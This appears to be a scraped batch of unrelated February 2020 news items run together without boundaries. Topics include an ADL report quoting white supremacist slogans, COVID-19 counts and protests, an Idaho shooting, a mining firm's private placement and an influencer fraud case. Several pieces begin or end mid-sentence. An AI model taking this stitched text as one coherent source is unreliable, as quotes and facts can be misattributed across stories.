added, ''This decision of NRHM is condemnable. The entire Bharatiya Janata Party opposes it. This order should be withdrawn immediately. We will protest on the streets.'' (JTA)One flyer reads Holocaust = fake news. Another says America is not for sale. And another: Diversity destroys nations. These are just a few of the 2,713 pieces of propaganda distributed in the United States by white supremacist groups in 2019, according to a report published Wednesday by the Anti-Defamation League. The flyers, posters and bumper stickersmany using traditional American color schemes and iconography to advance racist, anti-Semitic and anti-LGBTQ ideasappeared in every state except Hawaii and touched hundreds of college campuses. The number of incidents recorded in 2019 is more than double the tally from the previous year, in which the ADL documented 1,214 incidences of propaganda, and were concentrated mostly in large states like California, Texas and New York. Propaganda is the gateway into broader white supremacist activity, Oren Segal, the vice president of the ADLs Center on Extremism, told the Jewish Telegraphic Agency. It starts with reading a narrative or posting material on a poll, and maybe that leads to joining a march and more. And we have to remember that these are fundamentally narratives that inform violent extremist movements. The rise in propaganda, however, comes alongside a 20 percent drop in events held by white supremacists, to 76 from 95, according to the report. Most of the events were not publicized in advance, as groups opted for so-called flash demonstrations in which protesters gathered quickly without notice. Pre-planned events were poorly attended, the report said. Some drew fewer than a dozen participants and attracted larger counter protests. In one instance, a white supremacist activist gave a lecture to an empty room. But Segal noted that on Saturday, 150 members of a white supremacist group marched, their faces masked, in Washington, D.C. One of the things white supremacists are aware of are efforts to expose them, and so they want to be able to amplify their hateful messages without necessarily taking responsibility, Segal said. Theyre able to have perhaps more impact by putting up a flyer or a banner and maintaining their anonymity while creating fear and anxiety in the community. About a quarter of the propaganda incidents were on college campuses, though nearly all of those campuses were targeted only once or twice. The ADL says that shows white supremacists seem to have failed to gain a sustained foothold on campus. During the fall semester of 2019, the number of campus propaganda incidents was particularly high due to a campaign by the Patriot Front, which the ADL describes as a fascist, white supremacist group. The ADL said the group hung bannersfeaturing block letters in red, white and blueover overpasses or buildings reading Deport them all, Reclaim America and Revolution is tradition. The Patriot Front posters have the same style as propaganda from a white supremacist group called the American Identity Movement, which has been spreading its materials for years. Its posters feature traditional American icons like Lady Liberty and the bald eagle with the slogan Nationalism not globalism. Another group, responsible for the distribution of 82 pieces of propaganda, was Daily Stormer Book Clubs, which is affiliated with the white supremacist online publication of the same name. Its propaganda was cruder, with one piece featuring a classic anti-Semitic caricature under the message Why do Jews push pornography and degeneracy on our children? Another flyer from the Daily Stormer Book Clubs displayed a cartoon image of the squad, the group of four progressive Democratic congresswomen, under the slogan Send them back! A similar slogan was chanted in reference to a member of the group, Rep. Ilhan Omar, at a rally last year with President Donald Trump. I think it underscores the need for people to be very careful about their language, Segal said, regarding the Send them back flyer. You cant blame elected officials for the way that extremists may exploit their language. To the degree that public officials more broadly may be leveraging more extreme tropes, at some point these things will meet in the center. BOISE, Idaho - An 87-year-old man opened fire on three women at a senior citizens apartment complex in southwestern Idaho, killing one and injuring two others before fatally shooting himself, police said Friday. Authorities said Roger Nordberg opened fire shortly after 4 p.m. Thursday at the Portstewart Senior Apartments in Caldwell as part of a long-running dispute with two of the women. Police said he killed 76-year-old Darline Queen, who was also a resident. Another resident, 79-year-old Juanita Pressler, was injured. Former resident Kathleen Schlemmer, 58, was visiting and was also wounded. Authorities said the injured women were in stable condition at hospitals. A police officer who responded to the shooting was also shot, but authorities declined to provide details. The officer was treated at a hospital and released. Police said Schlemmer in 2019 had a protective order against Nordberg, but it had expired. Caldwell Police Chief Frank Wyant said Nordberg had disputes with Queen and Schlemmer for at least a year, at least partly involving Nordberg having the volume too loud on his TV sometimes. Wyant said the bad feelings continued. Wyant said Nordberg used a walker and was crossing a catwalk above an area where the women were sitting when they had some kind of an exchange. Wyant said Nordberg retrieved a 9 mm handgun, apparently from his apartment, and returned to the catwalk where he fired five times at the women sitting below. Wyant said each woman was hit with one shot, while two shots missed. Authorities say police arrived within three minutes, but released few other details. Wyant said Nordberg didnt fire at officers. He did not exchange gunfire with police, Wyant said Canyon County Sheriff Kieran Donahue said the Caldwell police officer who was injured received a gunshot wound. He declined to provide more information. A team that investigates officer-involved shootings has been assembled and is investigating. Two Caldwell police officers have been placed on paid administrative leave. Police said Nordbergs body was found on the second floor in a common room adjacent to his apartment. Caldwell is part of the Boise metropolitan area and has a population of about 54,000. Cruise ships docking in Tauranga are visiting under strict health and safety protocols, and host communities should feel at ease about welcoming them as always, says Toursim BOP chief executive Kristin Dunne. The cruise industry has extensive experience and protocols for managing the health and wellbeing of their guests, she says. We have complete faith in the conditions theyve employed. Cruise industry leaders have issued an update confirming that the majority of more than 270 cruise ships globally continue to sail unaffected, including within New Zealand but with strict precautions in place. The update advised other measures in place, including: No cruise ships have travelled directly from China to New Zealand. Many of the vessels operating in this region have been in Australasian waters for some time. Cruise Lines International Association (CLIA) ocean cruise lines have introduced stringent measures including pre-screening processes to determine a persons travel and contact history. They will deny boarding to anyone who may present an increased risk. Cruise lines are in close consultation with health authorities around the world, including the World Health Organization, New Zealands Ministry of Health, and regional health authorities. Reporting procedures are in place to ensure New Zealand authorities are aware of any relevant illness prior to a ships arrival. Kirstin says the Bay of Plenty is known internationally as a welcoming destination. Visitors tell us frequently how welcoming locals are and I encourage our communities to continue to show cruise ships and their passengers the manaakitanga we are renowned for. New Delhi: The festival of 'Maha Shivratri' which literally translates to 'the greatest night of Shiva' is one of the most splendidly celebrated festivals across the country. The festival celebrates the grand marriage of the lord of destruction, Shiva -- with the goddess of fertility, love, and beauty -- Parvati, who is also known as Shakti (power). According to Hindu mythology, on the night of the marriage, Lord Shiva had a very diverse group of acquaintances including Hindu gods, goddesses, animals and demons escorting him to the house of the goddess. The duo of Shiv and Shakti is considered to be the epitome of love, power and togetherness. The festival marking the initiation of their bond - 'Maha Shivratri' - is celebrated with great fervour across India. On the occasion, devotees across the country are seen flocking to temples, that often witness long queues from as early as the break of the dawn and chants of 'Om Namah Shivay' and 'Har Har Mahadev' reverberate. Special prayers are offered in all Shiva temples throughout the holy night. Following the traditional rituals, devotees observe fasts and are also seen worshipping the 'shivling', an iconic representation of Shiva. Speaking to ANI, Arun Bhardwaj, a priest from Uttarakhand said, "On the occasion of Maha Shivratri, devotees offer 'Rudra-Abhishek' or special ordination to the Shivling where they bathe the 'shivling' with different substances and each of them has a specific significance." "Devotees use water, curd, sugarcane syrup, milk, honey and other things for 'Rudra-Abhishek'", he added. Other important offerings that are mandatorily used for the 'Abhishek' are Datura flower and fruit. Besides the celebration of the marriage of Shiv and Shakti, unmarried women pray and observe fasts on the day to wish for a partner as compassionate as Lord Shiva. Throwing light on the time of the year when the festival is celebrated, the priest said, "The festival of Maha Shivaratri is celebrated on the Chaturdashi of the Krishna Paksha of Phalgun month according to Panchang (Hindu calendar)." This year, the festival is being celebrated across the country on February 21. Source: Xinhua| 2020-02-21 23:12:05|Editor: Mu Xuequan Video Player Close MOSCOW, Feb. 21 (Xinhua) -- Russia hopes to avoid the "worst scenario" in the situation in Syria's Idlib, Kremlin spokesman Dmitry Peskov said Friday. "The situation in Idlib is really very alarming and it causes deep concern. This situation is always a topic of discussion between the Russian and Turkish sides," Peskov told reporters at a daily briefing. Militants that carry out aggressive actions against Syrian government forces in Idlib should be neutralized, he noted. Peskov said that the possibility of holding a summit of Russian, Turkish, German and French leaders on Syria is being discussed, though there are not yet any concrete agreements. On Thursday, Russian President Vladimir Putin discussed the situation in Idlib with French President Emmanuel Macron and German Chancellor Angela Merkel by telephone. Also on Thursday, Syrian government troops backed up by Russian warplanes repelled several massive attacks by militants supported by Turkish artillery fire in Idlib. Russia's Su-24 attack aircraft struck the militants, while the Russian military urged Turkey to stop supporting the militants and halt supplying weapons to them in order to avoid future incidents. Novi Sanzhary (Ukraine): Residents of a central Ukrainian town clashed with police, burned tyres and hurled projectiles at a convoy of buses carrying evacuees from China's Hubei province, quarantined in case of the coronavirus, to a sanatorium on Thursday. Some protesters and police were lying wounded on the ground after the clashes. At least two buses had their windows smashed while the evacuees sat behind curtains inside. Locals in Novi Sanzhary feared they could become infected despite the authorities repeatedly insisting there was no danger and a special appeal from President Volodymyr Zelenskiy for calm. Ukraine has no confirmed cases of the virus. Tempers flared after a tense day-long standoff in which protesters blocked a bridge leading to the sanatorium where the evacuees will be held in quarantine for at least two weeks to make sure they are not carrying the virus. Hundreds of helmeted police, police vans and an armoured personnel carrier had been dispatched to keep order. Police were periodically shouted at with cries of "shame on you" as the town waited for the evacuees to arrive. In addition to 45 Ukrainians, there were 27 citizens of Argentina on the plane that landed in Ukraine on Thursday, as well as citizens from the Dominican Republic, Ecuador, El Salvador, Costa Rica and other countries. One Ukrainian woman refused to be evacuated at the last minute because she was not allowed by the Chinese authorities to take her dog, a Ukrainian embassy statement said. The Ukrainian authorities say all passengers on board had been screened twice for the virus before being allowed to fly, but that was not enough to quell the protesters. "Isn't there any other place in Ukraine that can host 50 people, that is located in more or less remote villages or in far off areas where there is no threat to population?" said resident Yuriy Dzyubenko. One protester was heard suggesting they should be kept at Chernobyl, the site of the worlds worst nuclear disaster in 1986. Another suggested taking them to parliament, while another said Zelenskiy should house them himself if he really believed there was no danger. "This is what I am telling him, telling the president: "Take 10 people, then I will take two," a man called Yuriy, who did not give his last name, said. A weak healthcare system, corruption and mistrust of authority are widespread in Ukraine, which has recently also grappled with a measles epidemic amid a reluctance by some to vaccinate themselves and their children. The protest had prompted Zelenskiy to issue a statement reassuring Ukrainians that there was no danger, that the authorities had done everything possible to make sure the virus would not spread to Ukraine. "But there is another danger that I would like to mention. The danger of forgetting that we are all human and we are all Ukrainian," he said. In western Ukraine there were smaller protests by residents fearing the evacuees could be housed there instead. China reported a drop in new cases in the province at the heart of the coronavirus outbreak on Thursday, though the death toll so far at over 2,000 has made it one of the biggest global health emergencies in recent decades. The airline industry has been hit hard by the coronavirus outbreak. (Edward Wang/Reuters) Global airline traffic will fall this year for the first time since the financial crisis because of the coronavirus outbreak, according to the industry. Airlines will take a 22.5bn ($29.3bn) hit in lost flight revenue in 2020, according to the International Air Transport Association (IATA), which represents most global airlines. Alexandre de Juniac, CEO of the IATA, warned of a tough year for airlines as a result of a sharp downturn in passenger demand. Many airlines have been forced to cancel flights in and out of mainland China. Airlines are making difficult decisions to cut capacity and in some cases routes, said de Juniac. Air France-KLM (AF.PA) became the latest to reveal the far-reaching disruption caused by the virus on Thursday, estimating its suspension until the end of March will cost at least 125m ($161.9m). The IATA released figures on Friday laying bare the potential consequences if the outbreak has a similar impact to the SARS virus in 2003. Read more: How coronavirus is hitting companies around the world It said carriers in the Asia-Pacific region faced an 8.2% contraction this year in passenger demand, measured in the number of kilometres travelled by paying customers. They had been forecast growth of 4.8%. It could cost them 21.5bn ($27.8bn). But carriers based outside the region are also expected to take a hit of almost 1.2bn ($1.5bn) from lost revenue on scrapped flights to and from China. The impact will more than eliminate the 4.1% global growth in passenger demand predicted by the IATA just two months ago. It now expects a 0.6% decline in demand in 2020. The figures could be worse if the outbreak spreads more widely or lasts longer than currently anticipated. The analysis assume a six-month shock followed by a quick recovery as in the SARS outbreak, and assumes only China remains the centre of the public health emergency. Read more: Air France-KLM and Qantas warn of major coronavirus hit to profits Story continues But the IATA said it was premature to estimate the impact on global profitability. We dont yet know exactly how the outbreak will develop, it said. The aviation body suggested some of the impact could be offset by government and central bank stimulus, and some airlines could benefit from lower fuel prices. It also sought to reassure passengers about their safety on board. It said cabin air was filtered, airlines have to meet global standards for cleaning and staff were trained to deal with symptoms. Dr David Powell, IATAs medical adviser, added: If you are sick, dont travel. If you have flu-like symptoms, wear a mask and see a doctor. And when you travel wash your hands frequently and dont touch your face. Observing these simple measures should keep flying safe for all. American actor Ben Affleck, who went through a difficult phase lately following his October 2019 relapse, has penned a heartfelt thank you note for his ex-wife Jennifer Garner. According to Us Weekly, the 47-year-old actor said in the letter, "What I want to say publicly and privately is, 'Thank you. Thank you for being thoughtful, considerate, responsible, and a great mom and person." American journalist Diane Sawyer read the message aloud during the episode of 'Good Morning America' after her interview with the actor on Thursday (local time). Garner and Affleck split in June 2015 after 10 years of marriage and finalised their divorce in October 2018. They are parents to 14-year-old daughter Violet, 11-year-old daughter Seraphina and 7-year-old son Samuel. On March 2, 2014, Affleck and Garner attended the Vanity Fair Oscar Party in California. The 'Triple Frontier' star seemed emotional while he discussed the break up elsewhere in his 'Good Morning America' appearance. He admitted, "I never thought that I was gonna get divorced. I didn't want to get divorced. I didn't want to be a divorced person. I really didn't want to be a split family with my children. And it upset me because it meant I wasn't who I thought I was. And that was so painful and so disappointing in myself." Earlier this week, in a New York Times profile, the actor made headlines when he called the divorce the biggest regret of his life. He explained, "Shame is really toxic. There is no positive byproduct of shame. It's just stewing in a toxic, hideous feeling of low self-worth and self-loathing." Affleck also reflected on how his battle with addiction affected the relationship with Garner saying that he drank relatively normally for a longer time and confessed the fact that he started drinking more and more when he felt that his marriage was falling apart. It was in the year 2015 and 2016 when his drinking created more marital problems. In October 2019, the 47-year-old actor Garner has been a constant support for Affleck as he worked on his sobriety after a 'slip-up'. And at that time a source to Us Weekly revealed that the 'Alias' alum wanted Affleck to be in the kids' lives, that means dealing with things she isn't happy about. "Jen's major sticking point is that Ben needs to be sober -- and truthful about it. There's no wiggle room on that as far as his relationship with his kids goes," the source added. Affleck seemed to agree with Garner's tactics, as evidenced on Good Morning America. "I have to be the man I wanna be at this point," he noted, referring to his relapse. "I don't have any more room for failure of that kind. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) When I was a kid I was profoundly unsporty and I didnt have hobbies, but I had energy to burn, Mr. Jessup said. I loved fantasy books: Harry Potter and Narnia and His Dark Materials. When I was 10 and I had just started acting, this is exactly the kind of job I dreamed about. The show could be described as family fare with a fantasy slant, but there are darker themes too. It deftly invokes supernatural elements to address real-world traumas like death and adolescent angst. The show is a beautiful, nuanced exploration of what it means to grow up, specifically growing up with trauma or grief, he said. Tyler very much cant deal with what hes feeling and keeps it all inside. I understand that. Mr. Jessup has had his own share of personal growth. Last year, on his 25th birthday, Mr. Jessup took to Instagram to come out as gay. A new relationship and the fact that his birthday fell on the same day as Toronto Pride felt like a sign from the gay god above, he said. Im a white, cis man from an upper-middle-class liberal family, he wrote in the post. Acceptance was never a question. But still, suspended in all this privilege, I balked. It took me years. Its ongoing. Im saying this now because I have conspicuously not said it before. Ive been out for years in my private life, but never quite publicly. PR-Inside.com: 2020-02-21 22:19:22 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 943 Words ACCESSWIRE News Network888.952.4446 Not for Distribution to U.S. Newswire Services or for Release, Publications, Distribution or Dissemination Directly, or Indirectly, in Whole or in Part, in or into the United States.VANCOUVER, BC / ACCESSWIRE / February 21, 2020 / International Montoro Resources Inc. (TSXV:IMT), (Frankfurt:O4T1), (the "Company"). Further to our news releases dated January 9th and February 6th, 2020, the Company announces that it will be applying to the TSX Venture Exchange for an extension to close its previously announced private placement to March 16, 2020. The Company announced its was offering up to 10,000,000 common share units (the "units") at a price of $0.035 per unit to raise gross proceeds of up to $350,000 (the "Private Placement"). Each unit will consist of one (1) common share (the "Common Share") and one warrant the ("Warrant"). Each full Warrant shall entitle the holder to acquire one (1) Common Share at a price of $0.05 for a period of 24 months.The pricing of the Private Placement was made in reliance on the temporary relief measures established by the TSX Venture Exchange Bulletin dated April 7, 2014. The price per Common Share was set at the last trading price on the TSX Venture Exchange before the issuance of the initial press release.The Company may pay commissions of 8% to eligible parties in connection with this Private Placement, payable either in cash and/or in warrants; in accordance with the policies of the TSX-V.As announced on February 6, 2020, the Company closed its first tranche as to 5,465,000 units for gross proceeds of $191,275. A finder's fee of $2,800 cash and 80,000 Warrants were paid and issued. The use of proceeds for the 1st tranche will be for continued exploration on existing properties- $50,000; incurred exploration expenses payable- $35,000; regulatory fees- $2,000; office rent and communication expenses-$5,000; transfer agent fees-$1,000; legal and accounting- $8,000; partial loan and interest repayment- $15,000; investor and shareholder relations, including travel and advertising- $10,000; management fees- $10,000; and outstanding payables and unallocated working capital- $55,275. While the company intends to use the proceeds as stated herein, there may be circumstances where, for sound business reasons, funds may be reallocated at the discretion of the board.The CEO/President's wife participated in the 1st tranche closing of the Private Placement. Mr. Musil has trading authority over her account. The participation in the Private Placement by directors and executive officers of the Company may be considered a "related party transaction" (the "Related Party") as defined under Multilateral Instrument 61-101 ("Ml 61-101"). The Company has determined that exemptions from the formal valuation and minority shareholder approval requirements under Ml 61-101 are available. In particular, the Company has determined that the exemptions set out in paragraphs (a) and (b) in section 5.5 of Ml 61-101 are applicable since the aggregate consideration to be paid by the Related Party does not exceed 25% of the market capitalization of the Company and the Company is not listed on the Toronto Stock Exchange, but only on the TSX Venture Exchange. In addition, regarding the minority shareholder approval exemptions, the independent directors have determined that the exemptions set out in paragraphs (l)(a) and (b) in section 5.7 of Ml 61-101 are applicable in that the aggregate consideration to be paid by the Related Party does not exceed 25% of the market capitalization of the Company, the distribution of the securities to the Related Party has a fair market value of not more than $10,500 and the Company is not listed on the Toronto Stock Exchange, but only on the TSX Venture Exchange.The Company intends to use the additional $158,725 proceeds to be raised from the Private Placement for continued exploration on its existing properties- $30,000; already incurred expenses- $12,000 (Serpent River); and $25,000 on previously approved property payments (Wicheeda North-REE property). The balance of $91,725 will maintain existing operation expenses as follows: Regulatory fees-$5,000; Legal & Accounting-$10,000; Investor & Shareholder Relations including travel & advertising-$5,000; Management Fees-$5,000; Outstanding Payables and Unallocated Working Capital -$66,725.While the Company intends to spend the net proceeds from the offering as stated above, there may be circumstances where, for sound business reasons, funds may be reallocated at the discretion of the Board.The securities issued under the Private Placement, and the Common Shares that may be issuable on exercise of the Warrants, are subject to a statutory hold period expiring four months and one day from the date of closing. The closing of the 2nd tranche is subject to the prior approval of the TSX Venture Exchange.About International Montoro Resources Inc.Int. Montoro Resources Inc. listed on the TSX Venture Exchange for over 25 years, is a Canadian based emerging resource company. The Company is systematically exploring its extensive property positions in:Red Lake, Ontario ( Camping Lake - Au prospect)Elliot Lake, Ontario (Serpent River/Pecors -Ni-Cu-PGE discovery) & (Uranium- REE's)Quebec (Duhamel -Ni-Cu-Co prospect & Titanium, Vanadium, and Chromium prospect)Prince George, British Columbia (Wicheeda North - Rare Earth Elements prospect)ON BEHALF OF THE BOARD"Gary Musil"Gary Musil,President/CEO and DirectorDisclaimer for Forward-Looking Information:Certain statements in this release are forward-looking statements which reflect the expectations of management. Forward-looking statements consist of statements that are not purely historical, including any statements regarding beliefs, plans, expectations or intentions regarding the future. Such statements are subject to risks and uncertainties that may cause actual results, performance or developments to differ materially from those contained in the statements. No assurance can be given that any of the events anticipated by the forward-looking statements will occur or, if they do occur, what benefits the Company will obtain from them. These forward-looking statements reflect management's current views and are based on certain expectations, estimates and assumptions which may prove to be incorrect.Neither TSX Venture Exchan It is the second day in a row that the province records fewer than 1,000 new cases, after nearly a month of daily four-digit increases. In China, the total number of total infections is 75,567. So far, 18,264 people have recovered. Critical day in South Korea: 52 infections confirmed, 29 of which related to a sect. Beijing (AsiaNews / Agencies) - The latest data from the health authorities reveal 889 new cases of contagion from Covid-19 in mainland China. These bring the total number of confirmed infections to 75,567. Last night, the death toll reached 2,239, an increase of 118 compared to 24 hours earlier. Of the new deaths, 115 occurred in the province of Hubei, the epicenter of the epidemic. The metropolis of Chongqing and the provinces of Zhejiang and Yunnan each report one death. In Hubei, authorities have confirmed 631 new coronavirus infections, 319 of which in Wuhan - where experts believe the virus began. Although the figure is greater than that published in yesterday's health reports, it is the second day in a row that the province records less than 1,000 new cases, after almost a month of daily four-digit increases. Beijing reported another 2,109 recoveries, which currently amount to 18,264 in total. Suspected cases of illness increased by 1,614 and reached 5,206. Yesterday evening, Hong Kong reported three new infections for a total of 68 cases, including two deaths; in Macau the data remains unchanged at 10 cases and six recoveries; the same is true for Taiwan, which remains stationary after 24 infections, one death and two discharges from the hospital. In the rest of the world, 26 other countries report a total of 1,153 episodes of contagion, in addition to eight deaths. Today is a critical day for South Korea, which has confirmed 52 other infections. With these, the coronavirus data in the country is 156 infections and one death. Of the new cases, 41 have come to light in Daegu, 300 kilometers southeast of Seoul, and in the nearby province of North Gyeongsang. Three others are reported in the capital. Of the last people infected with the virus, 39 are members of Daegu's Shincheonji Church of Jesus. The 31st patient since the beginning of the crisis, the probable "super carrier" of the country, is part of the group: she is a 61-year-old woman who tested positive for the virus earlier this week, who participated in religious services on 9 and 16 February. The total number of confirmed cases in Daegu and neighboring northern Gyeongsang province is 111, with the number of church-related cases 82. Meanwhile, Canada reports a further coronavirus case, which brings the total to nine in the North American country. Two Australians evacuated from the Diamond Princess cruise ship in Japan have tested positive for Covid-19 when landing in their home country: there are now 17 infected people in Australia. Tokyo reports that there are 634 cases of contagion on the ship, in addition to 93 on the national territory. There are 727 infections in the Land of the Rising Sun. Finally, Singapore also announces another case. So far, the city-state has confirmed 85 cases of contagion. An aide to the Taraba State Governor, Darius Ishaku, has explained why his principal has been away in Abuja for close to two months now. Bala Abu, on Friday, said the governor is receiving adequate medical treatment for a domestic accident. Mr Abu, a senior special assistant, was reacting to calls for the governors impeachment for abandoning his duties. He said Mr Ishakus continued stay in Abuja does not in any way constitute an impeachable offence. Mr Abu, who did not elaborate on the nature of the domestic accident, said the governor is recuperating. The governors aide described those calling for the governors impeachment as unpatriotic people who were only bent on promoting inanities and outright falsehood. We urge the good people of Taraba, their friends and admirers in and outside the state to ignore the campaign of falsehood being orchestrated by some people. His Excellency is desirous to return to the state and will do so when he has sufficiently recovered, he said in a statement. According to Mr Abu, the governors absence had not affected governance in the state in any negative way. No aspect of governmental activities has suffered a setback as a result, he said. All government projects are going on smoothly and government has continued to meet its obligations to contractors while progress is being monitored by appropriate government ministries and officials. He said the 2020 budget was being implemented with vigour while salaries of workers, pensions and gratuities are also being paid promptly. It is therefore wrong and misleading to suggest that the Governors absence has affected morale of civil servants and governance in the state. According to him, it was wrong to claim that the governor had breached Section 190 of the 1999 Constitution (as amended) by not transmitting power to his deputy. The said section of the Constitution 190(2) speaks of transmission of power only when the Governor proceeds on vacation or is otherwise unable to discharge the functions of his office. In this case, the Governor is not on vacation and he is not unable to discharge the duties of his office. He has been conducting his official duties diligently. Government activities are not at a standstill. Governor Ishaku has not breached any part of the Constitution. He remains focused and irrevocably committed to peace and the socio-economic development of Taraba State, Mr Abu said. A heartbroken mother has told how her autistic son died when he ran into a busy road after she accidentally unlocked her car while turning her back for just a matter of seconds. Janice Bradley, 35, from Maghera, County Londonderry, was on her way home with her nine-year-old son Daniel on September 20, 2018, when she pulled into a service station to pick up some milk. She was only going to be a couple of minutes, so she left Daniel locked in the car, belted safely into his booster seat. But while she was in the shop, she heard her car alarm going off. Assuming Daniel had triggered the sensors, she pressed a button on her key fob to silence it. Tragically though, Janice hit the wrong button, unlocking the car and allowing Daniel to run out onto a 50mph stretch of the busy A6 linking Belfast and Derry. The little boy was killed instantly when he ran out in front of an oncoming car. Janice Bradley, 35, from Northern Ireland, was on her way home with her nine-year-old son Daniel (pictured) on September 20, 2018, when she pulled into a service station to pick up some milk While Janice was in the shop, she heard her car alarm going off. She assumed Daniel (pictured tucking into jelly and ice-cream aged eight) had triggered the sensors and clicked 'unlock' Janice hit the wrong button, unlocking the car and allowing Daniel to run out into the path of an oncoming car. Tragically, Daniel died - and was buried in his favourite Peter Pan costume (pictured) that he had worn for World Book Day earlier that year Now, Janice is sharing Daniel's story to raise awareness of the difficulties of parenting a child with autism, saying she'd always feared that one day he'd 'get the better of her'. 'I needed eyes in the back of my head,' she said. 'It took some time and some counselling, but I've finally stopped blaming myself for Daniel's death. 'I'm telling his story to raise awareness of how tough and lonely it can be to parent a child with autism. So many people just don't understand their needs or why they might react differently.' 'If telling Daniel's story can help prevent tragedy for just one other family, it's worth it. That's his legacy.' Daniel was diagnosed with autism on his third birthday; May 3, 2013. He'd been missing his milestones and not interacting like other children at the same age. Janice says she threw herself into researching everything she could about the spectrum disorder. Daniel was diagnosed with autism on his third birthday; May 3, 2013. He'd been missing his milestones and not interacting like other children at the same age (pictured with Janice) Daniel attended a special school, Kilronan Primary in Magherafelt (pictured in his uniform), where he mostly enjoyed his art lessons The car Daniel ran in front of was driven by a nurse who immediately started CPR to try to save him. But he had died instantly from a head wound (pictured during a walk with Janice) 'Daniel grew into such a loving little boy, with a smile that lit up the room,' she recalled. 'He adored cuddles and would even throw his arms around strangers. 'One of my favourite times of day was bedtime. Autistic children thrive on routine, so at 8pm he'd fetch a story for me to read, or I'd sing to him.' As Daniel grew, he attended a special school, Kilronan Primary in Magherafelt, where he most enjoyed art lessons. His autism meant he was very sensory; at his happiest watching colourful Disney movies like Tangled or sinking his hands into Play-Doh. 'At weekends he loved our afternoons sat in Costa, savouring a hot chocolate and gingerbread man, watching the world go by,' said Janice. 'But he was easily spooked by noises so I'd settle his wee ear defenders on his head to protect him from the bustle.' After she accidentally unlocked her car Daniel ran out and into the shop. But when he got spooked he ran into the path of a car (pictured with Janice at a wedding) Daniel's autism meant he was very sensory and was at his happiest watching colourful Disney movies like Tangled or sinking his hands into Play-Doh (pictured on his ninth birthday) 'When Daniel got upset or panicked he had a tendency to bolt. I rarely took him out without safety reins strapping his wrist to mine. I often worried that one day he'd get the better of me. 'He was particularly naive around traffic I tried so many times to teach him the green cross code, telling him to look left and right, but he just couldn't grasp that roads could be dangerous.' On the evening of September 20, 2018, Janice was driving home in her red Seat when she pulled into a service station off the A6 Glenshane Road to grab a pint of milk. THE SIGNS AND SYMPTOMS OF AUTISM According to the Centers for Disease Control and Prevention, people with autism have trouble with social, emotional and communication skills that usually develop before the age of three and last throughout a persons life. Specific signs of autism include: Reactions to smell, taste, look, feel or sound are unusual Difficulty adapting to changes in routine Unable to repeat or echo what is said to them Difficulty expressing desires using words or motions Unable to discuss their own feelings or other peoples Difficulty with acts of affection like hugging Prefer to be alone and avoid eye contact Difficulty relating to other people Unable to point at objects or look at objects when others point to them Advertisement 'Daniel was buckled into his car seat, so I told him to stay there and gave him my phone so he could watch a lumberjack video,' Janice explained. 'I was standing at the fridges when I heard my car alarm going off. Fumbling for my key, I pressed the lock button to stop the noise. 'Moments later I heard a scuffle at the front of the shop. There was Daniel! I must have hit the button to unlock the car by accident. 'I called to him in my special singsong voice, trying to keep him calm, but he grabbed a troll glow stick from a display near the counter and bolted back out of the door as the shopkeeper shouted after him.' Janice rushed to the front of the shop and explained that her son had autism and she'd fetch him back, before heading for the door. But she was met in the doorway by a woman in distress. 'She put her hands up to stop me,' said Janice. 'She was white as a ghost, saying that a wee boy had been knocked down. 'I pushed past her and ran across the forecourt. I could see a commotion out on the main road cars were stopping and there was a woman crouching over a body on the tarmac, administering CPR. 'I screamed Daniel's name. He was flat on his back, with one trainer on and the other at the side of the road.' It turned out that Daniel had run in front of a car driven by an off-duty nurse, so she had already started trying to resuscitate him. Paramedics arrived and he was declared dead at the scene, killed instantly by a massive head injury. Janice said Daniel's favourite time of day was 8pm when he used to choose a book for her to read to him (pictured enjoying cuddles at bedtime) Janice explained that when Daniel got upset or panicked he would run away - and so she always needed to use safety reigns to keep him close. Pictured with his assistant dog, Ebony Daniel was buried in his favourite Peter Pan costume that he had worn for World Book Day earlier that year. 'As we planned his funeral, I expected police to turn up at my door any moment and cart me off in handcuffs for being a terrible mother,' said Janice. 'Friends tried to soothe me, saying they often left their kids in the car when they popped into the shop. But I was inconsolable. If only I'd not hit the wrong button on my car key. 'For weeks after his death I barely left the house, spending hours sitting in his bedroom, sniffing his t-shirts to try to feel close to him.' An inquest ruled that Daniel's death was accidental. Janice knew the service station had cameras so she asked to see the CCTV footage. 'It clearly showed Daniel sitting in his booster seat in the back of my car,' she explained. 'But after I went into the shop, he threw away my mobile phone and unbuckled himself, before climbing into the passenger seat and banging his hands against the window, setting off the alarm. 'Then the car's lights flashed as I hit the key fob, accidentally unlocking the doors. Daniel was out of the vehicle like a shot. 'I'm sharing this story to stop any other family suffering the same heartache. Such a simple mistake ended in terrible tragedy and nothing can ever bring my boy back.' A 22-year-old from South Jersey is accused of orchestrating a $1.5 million fraud scheme by using her social media following to target victims. Kayla Massa has over 300,000 Instagram followers and 100,000 YouTube subscribers. On Feb. 13, federal authorities in New Jersey arrested and charged the influencer following a complaint that found Massa guilty of illegally scamming over 45 of her followers many of whom were under 18 years old and other businesses out of almost $2 million. A recent Quartz investigation found that Massa would post photos of stacks of cash on her Instagram Stories and caption them with things like, "If you got a bank account and you are interested in making legal money, (hit me up) ASAP." Massa would then encourage people who responded to the post to drain their bank accounts and give her their debit card number and ATM PIN, in an attempt to reassure them that she would protect their money. Next, Massa would hide fake checks of stolen money by depositing them into her followers' bank accounts, using the names of real businesses, and would withdraw the cash before the bank could flag it as suspicious. By the time followers realized what was going on and discovered all of their money was gone and in some cases, the bank would recall the fraudulent funds and leave the accounts with a negative balance it was too late. Massa would then block them on social media, where she would continue to post photos of all the new clothes and luxury cars she was buying with her followers' stolen money. The businesses Massa would label on the bad checks would also get in trouble. According to CBS Philly, a company called Factory Tune Auto Repairs was listed on the counterfeit checks and lost about $15,000 in Massa's scheme. Factory Tune was able to recover the money, but other participants were not so lucky. Authorities were able to link the fraudulent checks to specific stores and after checking security cameras, found Massa on film shopping and paying for items with the checks. Massa wasn't working alone either. Police also arrested her boyfriend Jordan Herrin, her 19-year-old sister Leire and her boyfriend Erasmo Feliciano, 22-year-old William Logan, 27-year-old Alex Haines, 18-year-old Kevin McDaniels, 21-year-old Andrew Johnson, 20-year-old Jabreel Martin and 20-year-old aspiring rapper Dezhon McCrae. Trump Names Ambassador To Germany, Serbia-Kosovo Envoy To Intelligence Post By RFE/RL February 20, 2020 U.S. President Donald Trump has named Richard Grenell, the U.S. ambassador to Germany and special envoy to Serbia and Kosovo, to become the acting director of national intelligence, a move immediately blasted by critics. "Rick has represented our Country exceedingly well and I look forward to working with him," Trump wrote on Twitter on February 19 about one of his strongest supporters. The post of director of national intelligence (DNI) was created after the September 11, 